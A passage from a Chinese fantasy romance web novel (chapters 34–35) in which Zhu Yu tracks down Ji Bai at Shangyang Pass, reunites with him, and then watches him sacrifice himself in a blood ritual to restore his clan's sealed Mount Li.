半年时间,终究还是没能让他心软半分吗?
祝余低头,垂眸看向手中握了一路的长命锁,眼中情绪万分复杂,手上灵力流转,既然他不要了,那便毁了吧。
灵力即将碰到长命锁,祝余猛地收手,即便他一声不响的离开,即便他未留下只言片语,可她还是舍不得。
舍不得与他相关的长命锁,更舍不得他。
可既白将她抛弃了,她能如何呢?
芥舟上,既白迎风而立,任由冷冽的风吹乱他的衣摆,他垂眸,表情平静。
旧事入梦,他记起了自己来自何处,也记起了封印该如何解。
黎山是族中长老以付出生命的代价封印的,如今解开,自然需要同等的代价。
记忆回笼的那一刻,他便知晓了自己的结局,自然不敢给出回应。
死亡,是他注定的结局。
为族人而死,他心甘情愿。
昨夜的荒唐,是他死前的不甘,如今,心愿已了,与卿就此别过。
34. “抓到你了”
一连几日,祝余都将自己关在屋中,终究还是无法对他的不告而别释怀。
她无神站在窗前,眸光黯淡,手里握着他留下的长命锁,手心格外用力,仿佛这样就能抓住他。
“师妹。”时灵兮推开门,几步走进来,担忧的看着她,“我敲过门,迟迟没有回应,这才自作主张。”
祝余转身,浑浑噩噩的看向她,不在意问道:“师姐,你怎么来了?”
时灵兮不放心的看了她一眼,“你已有多日未曾出过门,我担心你,便过来看看。”
“师姐,我没事,你回去吧。”祝余说的平静,面上无澜,好像什么事都没发生过,可她眼中的神采骗不了人。
时灵兮皱着眉,眼中担忧深切,动了动唇,却又不知该如何劝说,欲言又止,只能无奈叹息,想了想,她重新开口说道:“师妹若是真放不下,去找便是,何苦为难自己。”
祝余静静听着,低眸着眸,脸上表情一成不变,心却像是被带刺的藤蔓缠住,疼得她快喘不上气,不告而别是他的选择,她能如何?
时灵兮叹息一声,安慰道:“说不定他是有苦衷呢?”
苦衷?祝余听此,抬眸,动了动唇角,脸上有了变化,眼中也不再死气沉沉。
见此,时灵兮看到了方向,继续说道:“他肯定是有不能言的苦衷,否则何须不告而别。”
祝余敛眸,觉得师姐说的有道理,她开始回想这段时间以来,发生过的事。
黎山是他的执念,是他多年来一直寻找的目标,明明在这里更利于他寻找黎山,如今他却突然离开了,祝余瞬间想到,除非是黎山找到了。
之前,因为他的不告而别,祝余被种种情绪冲昏了头脑,困在了他的离去之中,现在却是豁然开朗。
她一直帮他找寻黎山,将所有心思都放在了找黎山上,一直以来却忽略了一个最重要的问题?
倘若找到了黎山,该如何解开封印?
祝余面色一白,心里有了不好的猜测。
“师姐,我要去找他。”祝余匆忙拿起剑,大步就往外走去,走到门口,却突然僵住。
她想起,自己并不知道他去往何处。
祝余突然后悔,若在当日及时追去,说不定还能找到人,而现在时间过去了那么久,天地悠悠,他在何处?
时灵兮一时间摸不着头脑,突然说要去找,转眼间,却又站住了。
她上前几步,疑惑问道:“怎么了?”
“我不知道该去哪里找。”祝余苦着脸。
这个问题也把时灵兮问住了,已过数日,天大地大,茫茫人海找一个人,岂会容易。
祝余低头思考,眼前灵光一现,她急忙回屋,边走边说道:“师姐,我有办法了。”
时灵兮也松了口气,反正只要师妹好就好,不再打扰师妹,她转身离开。
祝余找出他曾看过的书,极有耐心的一本本翻看起来,日夜轮换,手中的书换了一本又一本,不知翻过多少本厚重书籍,她终于找到线索。
书页被人撕走一页后,留下的痕迹很少,只剩下一条直直的线,可见撕页之人很是小心,不想被发现。
祝余指尖划过留下的部分,若不是她谨慎,发现前后内容对应不上,可能还真会被他忽悠过去。
重要部分已被既白撕去,自然也得不出答案,祝余看完前后内容,牢牢记在心中,合上书,又翻开书,打算从别的书里寻找线索。
祝余昼夜不停的寻找,终于东拼西凑出,书页里的重要内容——上阳关
几个日夜的不停息,祝余眼中早已布满红血丝,眼睛也酸涩的厉害,可她不敢休息,怕去晚了,再也见不到他。
此刻,正值夜间,祝余也顾不上那么多,匆匆抽出金麟剑,就着皎洁月色,御剑而行。
——
路途遥远,祝余一刻也不敢停歇,日夜兼程的赶路,早已风尘仆仆。
直至站在城门口,抬头就能看到“上阳关”三字,祝余心定,一切都是值得的。
上阳关很大,其所属区域更是辽阔,祝余不敢赌他十分已经找到准确地点。
一入城,祝余便拿出事先准备好的画像,挨个询问,“打扰,可有见过画像上的男子?”
“没有,没有。”
“让开,别拦路。”
“……”
有人摇头,有人冷眼,祝余皆微笑面对,不过是人生过客,既白于她才是重中之重。
“大娘,你可有见过画像上的人?”祝余拿着画像,照例询问街道上来往的行人。
大娘容貌慈祥,一手中提着个篮子,听到她的问话,下意识朝她手中画像看去。
大娘盯着画像,定定看了好几秒,没说话,也没见她摇头或是点头,祝余以为她不知晓,正要道谢,却听见她热情道:“见过,见过,这画的可真像。”
祝余手一顿,随后不可控制的轻颤起来,是激动的,皇天不负苦心人,她的付出,有了回报。
“大娘,你在何处见的他?”祝余急急问道。
大娘回想了一番,手指向一个方向,“好像是在那边的客栈门口。”
“大娘,多谢。”
大娘连连摆摆手,“我也没做什么。”
祝余告别大娘,转身朝她所指的方向去,这条街上客栈的确很多,但有了方向,找起人来容易多了。
问了三四个客栈后,祝余便得到结果,客栈掌柜留着两撮小胡子,眼中闪着精明的光,他朝祝余搓了搓手指。
祝余也不吝啬,扔了几块灵石给他,掌柜乐呵呵的收下,“二楼,左手边第四间。”
祝余听之,立即转身上楼,一月未见,甚是想念,上楼的步伐加快,裙摆荡起划出一条弧线。
站在房门外,祝余没来由的紧张,她深吸一口气,抬手,轻轻叩响房门。
叩—叩叩——
里面一阵响动,不过几秒,门便被人打开,祝余一眼看见了他。
空落落的心重新被眼前人填满,所有的不安,在看见他的这一瞬,顷刻消散。
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>见到来人,既白脸一白,扶住门的手都用力了几分,他没想到会是她。
他知道自己不告而别的行为,有多伤人,也下意识认为,她不会再来找他。
而现在,他以为不会再出现的人,却活生生的站在他眼前。
祝余目光贪婪的上下打量着他,确认他很好,没有受到伤,只是相比之前,清瘦了些。
祝余挑眉,“不让我进去?”
既白抿唇,目光落在她脸上,看不出半分生气或是烦闷的情绪,几经纠结,他还是让开了路。
祝余走在前面,既白低着头跟在后面,心乱糟糟的,不停思考着她来此的目的,一时过于认真,没注意到她已经停了,一头撞到她身上。
既白心一跳,连忙后退一步,抬头,却直直撞入她含笑的眼里,不知看她看了多久。
不规律的心跳似要从胸腔跳出,面上一热,既白慌乱的撇开脸。
祝余却不依不饶的上前,她上前一步,他后退一步,直至被抵到门上,退无可退,避无可避。
祝余修长手指勾住他的下巴,让他不得不面对自己,灼灼目光看着他,压低了声音,“在躲什么?”
既白眼神闪躲,不敢看她,她突然的出现,让他的心乱了,像迷失方向的蝴蝶,不知该如何是好,他选择以沉默面对。
久久等不到回答,祝余气急却又无奈,吻他是她从看见他第一眼就想做的事情,现在她不再犹豫,恶狠狠的吻了上去。
两唇相触,唇瓣柔软,失去的人重新入怀,祝余压抑了一个月的思念倾涌而出,想到他的不告而别,亲吻间带上了惩罚的意味,毫不留情的咬在他唇上。
任凭他如何挣扎,也无济于事,直至尝到他唇上的血腥味,这个缠绵的吻才结束。
既白无力靠在她身上轻喘,祝余一手揽在他腰间,一手去抓他的手,指间交缠,她在他耳畔低吟,“抓到你了。”
话音里的满足感,触动了既白的心,两种情绪交织,刺痛而又欢喜,原来她对他,始终如一。
既白眼中泛起忧愁,如冬日山林间的薄雾,又浓又密,可他没有以后了。
若他不给出回应,便不算开始,这样,她才能更好的将他遗忘。
平复好心情,从她身上离开,祝余也放开在他腰间的手,交缠的手依然紧紧相扣。
既白低垂眸眼,小声问道:“你,你怎么来了?”
手指抚上他殷红如桃花般的唇瓣,指尖抹走唇上的一点红,祝余挑眉,“不想我来?”
既白沉默不语,在某些时候,沉默就是最好的答案。
祝余早已习惯了,也不在乎他的沉默,自顾自的说道:“你有东西忘带了。”
听此,既白认真回想了一番,在确认无误后,摇头,“没有。”
“是吗?”祝余拿出被他留下的长命锁,在他眼前晃了晃,“那这是什么?”
祝余低叹一声,不由分说的给他带上,“下次,不要再弄丢了。”
“你答应过我,不会取下来的。”
35. 再见
“对不起。”
既白低头,失神望着坠在身前的长命锁,心中不由得生出几分眷恋。
可眼下,他已经找到黎山,不日便能解开封印,不该有的感情还是断了为好。
“我找了黎山了。”他缓缓道出口。
祝余闻言,心中一紧,喉咙干涩,问出了她最不想知道答案,却又不得不问的问题,“黎山的封印该如何解?”
既白动了动唇,却只能沉默。
祝余来时心中早已有了猜测,可仍抱有一丝希望,而现在,在他一分一秒的沉默下,那一丝希望逐渐破灭。
“你不该来的。”既白平静的道,多年以前,在踏出黎山时,他就已接受自己的命运。
唯一的变故是她。
“总要知道的。”祝余心口泛起密密麻麻的疼痛,双眼哀伤的看着他,带着几分哀求道:“真的没有办法了吗?”
黎山是他的执念。
也知道黎山对他而言有多重要,正因如此,她没办法开口让他等一等。
既白缓缓摇头,“他们已等了太久。”
黎山灵气耗尽,多等一日,死去的族人便多一位,他已然让他们等了太久。
祝余沉默,眼中悲痛欲绝,目光紧盯着他,舍不得眨一下眼,想要把他的一眼一眸都刻进脑海深处。
冗长的沉默后,问道:“什么时候走?”
“今日。”
祝余痛苦闭眼,因为爱,因为了解,她没有办法自私的开口挽留,只能眼睁睁的看着爱人走向死亡。
也许,她真的不该来。
有太多话想要说出口,话到嘴边,却又因为种种原因,只能咽下,屋内只剩一片沉默,相顾无言。
既白深深的看了她一眼,眼底平静,向她告别,“祝余,再见。”
“真的没有别的办法了吗?”祝余绝望,拼命的想找到一根救命稻草。
既白无言摇头。
祝余心如死灰,彻底绝望,突然觉得迷茫,她花费那么多时间找到他,得到的便是这样的结局吗?
那么,她所做的一切意义何在?
她拼了命想改变,到头来却是什么都没变,甚至连机会都没有。
祝余的心仿佛溺入水中一般难受,她不舍的松开自己手指,手指一根一根与他分离,一如她们的结局。
祝余后退一步,心中满是不甘,想做点什么发泄不满的情绪,分别之际,她突然上前一步,动作极为粗暴的扯开他的衣领,指尖亲触他锁骨,“最后一次。”
话落,吻了上去,她吻得很温柔,虔诚而又不舍,却又无能为力,一滴滚烫的泪落到肌肤上,既白一顿,心也跟着颤了颤。
“再见。”祝余眼含泪水。
既白低头,入眼是锁骨上暧昧的红痕,眼中情绪复杂,抬手整理好衣服,转身离开。
目送他的身影消失在眼前,祝余眼中的泪,像突然断线的珠子,一滴接一滴。
窗外下起了小雨,淅淅沥沥,风卷落几滴雨滴,落到她手上,祝余低头,面上苦涩,喃喃自语,“连上天都在为你送行。”
——
既白来到上阳关城外,重山一座接一座,首尾相连,却在某个位置突兀的空了一块,像是被人挖去。
经年累月,此地已形成一个很大的湖泊,而此湖便是他多日确认后,认为的黎山的位置。
既白视线落在湖面上,缓缓行走至湖边,他抬手,手中出现一柄月牙弯刀,弯刀上刻着繁杂符号,幽幽冷光中透露着神秘气息。
既白眼都不眨,拿着弯刀就往心口一插,弯刀没入心口,却不见有血迹流出,他痛苦的脸色一变,指尖都在发颤,握着弯刀的手却更加用力。
吸入了鲜血的月牙泉刀,更加透亮,他的脸色却是肉眼可见的苍白,既白口中念念有词,弯腰,拿着弯刀在空中刻画,明明什么都没有,弯刀落下的那一处,却留下了一道红的似血的颜色。
既白不停刻画,没几时,一个缩小的黎山,便浮于半空中,透着点点血迹,颇为诡异。
既白勾唇而笑,黎山,久违了。
一
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切还没有结束,他拿起弯刀朝手心一划,血迹顺着指缝滴落水中,却消失不见,既白吟唱起古老咒语,顺着湖边行走。
每走一步,都在承受巨大的痛苦,脸色白一分,身影便也淡一分。
他不停的吟唱,不停的行走,没血了便往身上划,眼前一片晕眩,快要支撑不住时,黎山是他的信念。
就这样坚持着,不知不觉间,已行走过半,湖的上空,出现一座若隐若现的山。
上阳关内,有人发现此异常,奔相告知,一时间,城内百姓都下意识聚集在一起,好奇的讨论着。
有人说是神仙显灵,也有人说是妖魔出世,两方人马争论不休,谁也不愿落下风。
祝余立于窗前,自然也看见了,山峰若隐若现,是极美的,她的心却在泣血。
这是既白用生命换来的。
心煎熬得像被火烧,终究还是做不到放手,祝余提起剑,飞快往城外赶去。
祝余赶到时,阵法已快完成,而他的身影已近乎透明,她只能眼睁睁看着,却无能为力。
既白似是感觉到她的到来,回眸,与她遥遥相望,一滴清泪,自眼角而落。
黎山越来越清晰,周边的山林上围了许多被吸引过来的人,有凡人也有修士,皆虎视眈眈。
有人实在好奇,迫不及待的往里跳,却仿佛撞到了什么,被拦截在外面。
既白看到这一幕,了然于心,自决定让黎山现世,为了不步万年前的后尘,族人做了许多准备,这便是其一。
历经过生死存亡的种族,比任何人都知晓要如何保护自己。
每一个死去的族人,以身献祭,只为保护黎山。
既白能感觉到自己快要消失,他不舍的看向祝余,勾唇一笑,唇微动,无声说道,“再见。”
黎山现世,既白闭上了眼。
可惜,没有机会看一眼族人,他对得起族人,却有愧于祝余,若有来生……
既白自嘲,何来来生。
祝余飞奔而去,相拥人入怀,却落了空。